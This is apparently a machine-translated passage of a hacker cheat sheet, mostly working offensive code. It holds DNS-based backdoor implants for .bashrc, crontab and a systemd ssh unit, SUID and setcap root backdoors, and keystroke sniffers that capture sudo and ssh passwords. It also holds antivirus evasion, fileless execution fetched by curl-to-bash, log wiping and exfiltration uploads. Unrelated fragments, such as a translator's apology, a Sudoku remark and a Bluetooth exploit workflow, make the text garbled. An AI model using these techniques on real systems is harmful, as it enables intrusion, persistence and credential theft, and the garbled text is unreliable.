植入程序通过向域名 `b00m.team-teso.net` 发送 DNS TXT 请求来获取有效载荷。触发后,它会创建 `/tmp/.b00m`,并通过 app.interactsh.com 回调通知 THC。*请*使用你自己的域名,并创建你自己的有效载荷。示例:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
bootloader。使用 while 循环通过 DNS 下载并执行更大的载荷。将此植入物添加到目标的 ~/.bashrc 或 crontab 中(demo-paypload):```shell
bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null
or change the demo-payload for an elaborate payload:
- 启动一个后台守护进程,每小时轮询一次以执行命令。
- 仅依赖 bash、dig 和 base64。
- 伪装为 `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- 示例再次使用 `b00m2.team-teso.net`,并每小时创建 /tmp/.b00m。
Cut & Paste the following into the target's shell to generate the 1-line implant:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt
将脚本的1行结果添加到目标上的任何启动脚本中(使用crontab、~/.bashrc、udev或ExecStartPre=)。下面是一个针对 /usr/lib/systemd/system/ssh.service 的巧妙示例(带有一些额外的混淆):```
...
[Service]
EnvironmentFile=-/etc/default/ssh
Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash"
ExecStartPre=-bash -c 'eval $SSHD'
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
...
...用 PERL:
---
相同,但只需要 perl + bash(不需要 dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt
(感谢 LouCipher 提供的 perl 版本)
将以下内容剪切并粘贴到你的 shell 中:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }
生成你的载荷 (`egg.py` 将在目标上执行):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF
生成你的植入物(并按照说明操作):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py
<a id="ld-backdoor"></a>
**6.vii. 本地 Root 后门**
#### 1. 使用 setcap 对动态加载器植入后门```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"
我已经创建了数独求解器和生成器从菲律宾语到英语的初始翻译。因为它最初是用C语言编写的,我决定将其移植到Python可能也不错,因为该语言具有内置的复杂数据结构,而且现在的语法更易于理解。将来我可能会将其移植到Python 3,并扩展为GUI应用程序。```bash
fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'
#### 2. 老牌的 b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null
请提供需要翻译的Markdown内容。```shell exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'
<a id="implant"></a>
**6.viii. 自解压植入体**
使用 [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) 创建一个自解压 shell 脚本(参见源码中的示例)。
简单示例:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh
真实世界的例子是最好的:
2. 将 `egg.sh` 重命名为 `update-for-fools.txt`,并以 blob 形式上传到 [Signal 的](https://www.signal.org/) GitHub 仓库。
3. 不要使用这个命令欺骗人们更新 Signal ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash
获取有关主机的基本信息:```sh bash -c "$(curl -fsSL https://thc.org/ws)"
或```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"
netstat(如果没有 netstat/ss/lsof):```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash
快速检查系统```sh
curl -fsSL https://bench.sh | bash
# Another speed check:
# curl -fsSL https://yabs.sh | bash
查找所有 suid/sgid 二进制文件:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null
查找所有可写目录:```bash
wfind() {
local arr dir
arr=("$@")
while [[ ${#arr[@]} -gt 0 ]]; do
dir=${arr[${#arr[@]}-1]}
unset "arr[${#arr[@]}-1]"
find "$dir" -maxdepth 1 -type d -writable -ls 2>/dev/null
IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr
查找本地密码(使用 noseyparker 或 trufflehog):```sh
curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np &&
./np scan . &&
./np report --color=always | less -R
- 使用 [PassDetective](https://github.com/aydinnyunus/PassDetective) 在 ~/.*history 中查找密码
- 使用 [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) 从正在运行的进程中提取并解密 Chrome 密码(仅限 Windows)
- 使用 [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor) 从浏览器中提取密码
使用 `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .
在文件中查找子域名或电子邮件:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }
---
<a id="shell-hacks"></a>
## 8. Shell 技巧
<a id="shred"></a>
**8.i. 粉碎并擦除文件**```sh
shred -z foobar.txt
I apologize, but I notice that the input chunk appears to be empty — there is no content provided after "INPUT:". Since there is no source text to translate, I cannot produce a translation. Please provide the actual content of chunk 406, and I will translate it from English to Chinese following all the specified rules.```sh
shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt
注意:或者将文件部署到 */dev/shm* 目录,这样就不会有任何数据写入硬盘。重启后数据将被删除。
注意:或者删除该文件,然后用 /dev/urandom 填满整个硬盘,再 `rm -rf` 转储文件。
<a id="restore-timestamp"></a>
**8.ii. 恢复文件的日期**
假设你修改了 */etc/passwd*,但文件日期现在显示 */etc/passwd* 已被修改。使用 *touch* 将文件日期改为另一个文件的日期(在此示例中为 */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'
使用 hackshell 和 ctime /etc/passwd 来同时调整 ctime 和 birth-time。
这会将日志文件重置为 0,而无需重启 syslogd 等:```sh
/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log
这将从日志文件中删除任何包含 IP `1.2.3.4` 的行:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
示例:```sh
<a id="shell-hide-files"></a>
**8.iv. 无需 root 权限即可向该用户隐藏文件**
我们最喜欢的工作目录是 */dev/shm/*。该位置是易失性内存,重启后会丢失。没有日志 == 没有犯罪。
隐藏永久文件:
方法 1:```sh
alias ls='ls -I system-dev'
这将从 ls 命令中隐藏目录 system-dev。放置在用户的 ~/.profile 或系统范围的 /etc/profile 中。
方法 2: 源自 80 年代的技巧。考虑管理员很少查看的目录(如 /boot/.X11/.. 等):```sh mkdir '...' cd '...'
方法 3:
Unix 允许文件名包含几乎任何 ASCII 字符,但 0x00 除外。尝试使用制表符(*\t*)。事实上,大多数管理员不知道如何 cd 进入这样的目录。```sh
mkdir $'\t'
cd $'\t'
这会将 /var/www/cgi/blah.cgi 重定向到 /boot/backdoor.cgi。文件 blah.cgi 无法被修改或删除(除非被卸载)。```sh
touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
<a id="nosudo"></a>
**8.vi. 无需 sudo/su 切换用户**
用于截取 X11 会话的屏幕截图(即 `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` 或 `import -display :0 -window root screenshot.png`)```bash
xsu() {
local name="${1:?}"
local u g h
local cmd="python"
command -v python3 >/dev/null && cmd="python3"
[ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
u=$(id -u ${name:?}) || return
g=$(id -g ${name:?}) || return
h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user
使用 UPX 打包 ELF 二进制文件(示例 /bin/id):```shell
BIN="mybin"
upx -qqq /bin/id -o "${BIN}"
清理 [UPX 头部](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) 和第二个 ELF 头部以欺骗杀毒软件:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"
可选地清除UPX的签名和痕迹:```shell
cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
mv "${BIN}.tmpupx" "${BIN}"
grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}"
perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"
验证二进制文件无法被解包:```shell
upx -d "${BIN}" # Should fail with 'not packed by UPX'
Optionally encrypt it with bincrypter.
在不写入文件系统的情况下启动后门,或当所有可写位置都挂载了讨厌的 noexec 标志时。
一个 Perl 单行命令,用于将二进制文件加载到内存并执行(不接触任何磁盘或 /dev/shm 或 /tmp)。更多信息请参阅 Hackshell。```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }
最短可能的变体是(示例):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u
(感谢 tmp.Out 的一些有见地的讨论,以及其他人先前的工作)
不写入文件系统部署 gsocket(示例):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))
后门也可以通过 SSH 直接管道传输到远程内存中并执行:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"
如果你只有一次远程执行命令的机会(比如通过 PHP 漏洞利用),那么这就是你要用的命令行:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337
---
<a id="crypto"></a>
## 9. 加密
<a id="gen-password"></a>
**9.i. 生成快速随机密码**
适用于需要快速生成且不含人为因素的密码。```sh
openssl rand -base64 24
如果 openssl 不可用,我们也可以使用 head 从 /dev/urandom 读取。```sh
head -c 32 < /dev/urandom | xxd -p -c 32
或者使其为字母数字```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16
9.ii.a. Linux 可移植加密文件系统 - cryptsetup
创建一个 256MB 大小的加密文件系统。系统将提示你输入密码。```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec
挂载:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec
将数据存储在 /mnt/crypted 中,然后卸载:```sh
umount /mnt/sec
cryptsetup close sec
<a id="encfs"></a>
**9.ii.b. Linux 可移动加密文件系统 - EncFS**
创建 ```.sec``` 并将加密数据存储到 ```.raw``` 中:```sh
mkdir .raw .sec
encfs --standard "${PWD}/.raw" "${PWD}/.sec"
unmount:```sh fusermount -u .sec
<a id="encrypting-file"></a>
**9.iii 加密文件**
在传输之前加密你的 0-Days 和日志文件 - 拜托了。(并选择你自己的密码):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

Blueducky 工作流程:
🔹 步骤 1: 运行 BlueDucky 脚本。
🔹 步骤 2: 脚本将自动从仓库下载最新的 CVE 详情。
🔹 步骤 3: 将显示可供利用的蓝牙设备。
🔹 步骤 4: 选择一个目标设备。
🔹 步骤 5: CVE 有效载荷将在目标设备上无缝执行,以提供访问权限。
📌 注意: 首次运行时,BlueDucky 会将必要的有效载荷下载到 payloads.txt 文件中。蓝牙接口也会为你开启。请始终确保蓝牙适配器已连接,并且在初始设置后 payloads.txt 文件存在。```sh
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
---
<a id="sniffing"></a>
## 10. 会话嗅探与劫持
<a id="session-sniffing"></a>
**10.i 嗅探用户的 SHELL 会话**
针对 `~/.bashrc` 的一行命令,用于嗅探用户的按键并将其保存到 `~/.config/.pty/.@*`。当不是 root 且需要捕获用户的 sudo/ssh/git 凭据时非常有用。
部署:将以下内容剪切并粘贴到目标上,然后按照说明操作:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
/usr/bin/script。我们从 pkgforge 获取静态二进制文件。ssh -o "SetEnv LC_PTY=1" 登录以禁用日志记录。10.ii 使用 dtrace 嗅探所有 SHELL 会话 - FreeBSD
特别适用于 Solaris/SunOS 和 FreeBSD(pfSense)。它使用内核探针来跟踪 所有 sshd 进程。
将此 "D 脚本" 复制到目标系统,并命名为 d:```c
#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
启动一个 dtrace 并记录到 /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)
10.iii 使用 eBPF 嗅探所有 SHELL 会话 - Linux
eBPF 使我们能够安全地挂钩内核中超过 120,000 个函数。它就像一个更好的“dtrace”,但适用于 Linux。```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt
看看我们自己的[用于嗅探 sudo/su/ssh 密码的 eBPF 工具](https://github.com/hackerschoice/bpfhacks)。
<a id="ssh-sniffing-strace"></a>
**10.iv 使用 strace 嗅探用户的 SSH、bash 或 SSHD 会话**```sh
tit() {
strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ... | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)
还可以嗅探 SSHD 进程(也能捕获 sudo 密码等)。注意,我们改为跟踪 write() 调用(因为 sshd 会将数据“写入”bash):```sh
ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...
嗅探 7770(示例):```shell
tit write 7770
更脏的方法,适用于 /proc/sys/kernel/yama/ptrace_scope 设置为 1 的情况(strace 将无法对已运行的 SSH 会话进行跟踪)
创建一个名为 'ssh' 的包装脚本,用于执行 strace + ssh 以记录会话:
mkdir -p ~/.local/bin ~/.local/logs
cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF
cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF
chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile
echo -e "\033[1;32mSUCCESS.
Logfiles stored in ~/.local/.logs/.
To uninstall cut & paste this\033[0m:\033[1;36m
grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile
rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"
(thanks to Gerald for testing this)
</details>
SSH会话将在用户下次登录其shell并使用SSH时被嗅探并记录到 *~/.ssh/logs/* 目录下。
<a id="ssh-sniffing-sshit"></a>
**10.vi 使用SSH-IT嗅探用户外发的SSH会话**
最简单的方法是使用 [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/)。```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"
使用 https://github.com/nelhage/reptyr 来接管一个已有的 SSH 会话:```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T
---
<a id="vpn-shell"></a>
## 11. VPN 与 Shell
<a id="shell"></a>
**11.i. 一次性根服务器**```console
$ ssh [email protected] # Use password 'segfault'
受信任的 VPN 提供商
虚拟专用服务器。请查看 offshore.cat。
查看其他免 KYC 服务(.onion)
代理(我们不使用其中的任何一个)
curl -x socks5h://$(PROXY) ipinfo.io - 为每个请求选择一个随机代理许多其他服务(免费)
来自多个公共数据库的反向 DNS:```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }
从 TLS/THC-IP Database 中查找子域:```sh
sub() {
[ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
| OSINT 黑客工具 | |
|---|---|
| https://api.c99.nl | 免费:Subdomain Finder,付费:Phone-Lookup、CF Resolver、WAF Detector、IP2Host,以及更多……每年 25 美元。 |
| https://osint.sh | 免费。Subdomain Finder、DNS 历史、公共 S3 存储桶、反向 IP、证书搜索,以及更多 |
| https://cli.fyi | 免费。为许多服务提供 curl/json 接口。试试 curl cli.fyi/me 或 curl cli.fyi/thc.org。 |
| https://check-your-website.server-daten.de | 免费。检查域名的 TLS/DNS/安全性。 |
| https://ipsniper.info/api.html | rDNS/fDNS 和其他 IP 信息工具 |
| https://ip.thc.org | fDNS/rDNS 查询:curl -fL ip.thc.org/140.82.121.3 |
| https://hackertarget.com/ip-tools/ | 免费 OSINT 服务(反向 IP、MTR、端口扫描、CMS 扫描、漏洞扫描、API 支持) |
| https://account.shodan.io/billing/tour | 来自世界各地的开放端口数据库和 DNS 查询 |
| https://dnsdumpster.com/ | 域名侦察工具 |
| https://crt.sh/ | TLS 证书搜索 |
| https://archive.org/web/ | 网站的历史视图 |
| https://www.farsightsecurity.com/solutions/dnsdb/ | DNS 搜索(非免费) |
| https://wigle.net/ | 无线网络映射器 |
| https://radiocells.org/ | 基站信息 |
| https://www.shodan.io/ | 用于查找设备和横幅的搜索引擎(非免费) |
| https://spur.us/context/me |
| OSINT for Detectives | |
|---|---|
| https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list | Nixintel 的 OSINT 资源列表 |
| https://github.com/jivoi/awesome-osint | Awesome OSINT 列表 |
| https://cipher387.github.io/osint_stuff_tool_collection/ | OSINT 工具集 |
| https://osintframework.com/ | 许多 OSINT 工具 |
| OSINT 数据库 | |
|---|---|
| https://data.ddosecrets.com/ | 数据库转储 |
通信
行动安全
exiftool -all= example.pdf example1.jpg ...)漏洞利用
系统信息收集
curl -fsSL https://thc.org/ws | bash - 显示服务器上托管的所有域名 + 系统信息getexploit)后门
网络扫描器
漏洞扫描器(请注意:这些扫描器都会产生 99% 不可利用的误报。它们都很糟糕。)
DDoS
静态二进制文件 / 预编译工具
网络钓鱼
工具
回调 / Canary / 命令与控制
隧道
blitz -l / blitz foo.txtexfilcurl -T foo.txt https://oshi.atcurl -F'[email protected]' https://0x0.st/curl -T foo.txt https://transfer.shcurl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.phpcroc send foo.txt / croc anit-price-example论坛和会议
思维导图与知识
| Tmux Cheat Sheet | |
|---|---|
| Max Buffer | Ctrl-b + : + set-option -g history-limit 65535 |
| SaveScrollback | Ctrl-b + : + capture-pane -S - ,然后 Ctrl-b + : + save-buffer filename.txt。 |
| SpyScrollback | tmux capture-pane -e -pS- -t 6.0 捕获运行中的 tmux 的窗格 6(窗口 0)。去掉 -e 则不保留颜色保存。 |
| Clear | tmux send-keys -R C-l \; clear-history -t6.0 清除屏幕并删除回滚历史。 |
| Logging | Ctrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'按 Ctrl-b + Shift + P 开始和停止。 |
| HiddenTmux | cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache要附加到你的会话,请执行 cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach |
| Attach | 启动一个新的 tmux,然后输入 Ctrl-b + s,并使用 LEFT、RIGHT 预览和选择任何会话。 |
| Menu | Ctrl-b + >。然后使用 Ctrl-b + UP、DOWN、LEFT 或 RIGHT 在窗格之间移动。 |
使用 lsof -Pni 或 netstat -putan(或 ss -putan)列出所有互联网(-tu)连接。
使用 ss -lntp 显示所有监听(-l)的 TCP(-t)套接字。
使用 netstat -rn 或 ip route show 显示默认互联网路由。
使用 curl cheat.sh/tar 获取 tar 的 TLDR 帮助。适用于任何其他 Linux 命令。
使用 curl -fsSL bench.sh | bash 对服务器进行速度测试。
在长延迟链路或慢速链路上进行黑客攻击可能会让人非常沮丧。每次击键都会逐个传输,任何输入错误都会变得更加令人沮丧且耗时。rlwrap 可以救你一命。它会缓冲所有的单次击键,直到按下 Enter,然后一次性传输整行。这使得高速输入、纠正错误等变得更加容易,……
反向隧道接收端的示例:```sh rlwrap --always-readline nc -vnlp 1524
*SSH* 的示例:```sh
rlwrap --always-readline ssh user@host
方法有很多,但其中之一是:
鸣谢:ADM, subz/#9x, DrWho, spoty 加入我们的 Telegram。
IP 评分 https://spur.us/context/<IP> |
| http://drs.whoisxmlapi.com | 反向 Whois 查询(非免费) |
| https://www.abuseipdb.com | IP 滥用评分 |